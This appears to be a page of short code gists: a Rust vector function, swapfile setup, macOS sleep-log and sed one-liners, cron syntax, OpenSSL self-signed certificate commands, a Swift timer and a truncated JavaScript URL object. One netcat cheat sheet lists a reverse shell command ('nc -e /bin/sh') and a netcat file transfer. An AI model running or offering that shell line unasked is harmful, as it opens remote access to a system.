This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| fn vector() -> Vec<i16> { | |
| let mut v : Vec<i16> = | |
| Vec::<i16>::new() ; | |
| v.push(10i16); | |
| v.push(20i16); | |
| v | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| sudo fallocate -l 1G /swapfile | |
| sudo chmod 600 /swapfile | |
| sudo mkswap /swapfile | |
| sudo swapon /swapfile | |
| sudo swapon --show | |
| sudo cp /etc/fstab /etc/fstab.bak | |
| echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab | |
| sudo sysctl vm.swappiness=10 | |
| echo 'vm.swappiness=10' | sudo tee -a /etc/sysctl.conf | |
| sudo sysctl vm.vfs_cache_pressure=50 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pmset -g log|grep -e " Sleep " -e " Wake " | tail -n 10 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| sed -i -e 's/[ \t]*//' yourfile |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| * * * * * command | |
| * - minute (0-59) | |
| * - hour (0-23) | |
| * - day of the month (1-31) | |
| * - month (1-12) | |
| * - day of the week (0-6, 0 is Sunday) | |
| command - command to execute | |
| (from left-to-right) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| arch -x86_64 pod update |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Netcat simple listen | |
| netcat -lvp [port] | |
| # Netcat reverse shell | |
| nc -e /bin/sh [destination] [port] | |
| # Nectat file transfer | |
| nc -l -p 1234 > out.file | |
| nc -w 3 [destination] [port] < out.file |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // countdown 10 seconds | |
| let deadlineTime = DispatchTime.now() + .seconds(15) | |
| DispatchQueue.main.asyncAfter(deadline: deadlineTime) { | |
| } | |
| let deadTimeSegue = DispatchTime.now() + .seconds(60) | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| openssl genrsa -out key.pem | |
| openssl req -new -key key.pem -out csr.pem | |
| openssl x509 -req -days 9999 -in csr.pem -signkey key.pem -out cert.pem | |
| rm csr.pem |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| connector = url.URL( | |
| { | |
| protocol: null, | |
| host: null , | |
| user: null, | |
| password: null, | |
| port: null, | |
| pathname: null, |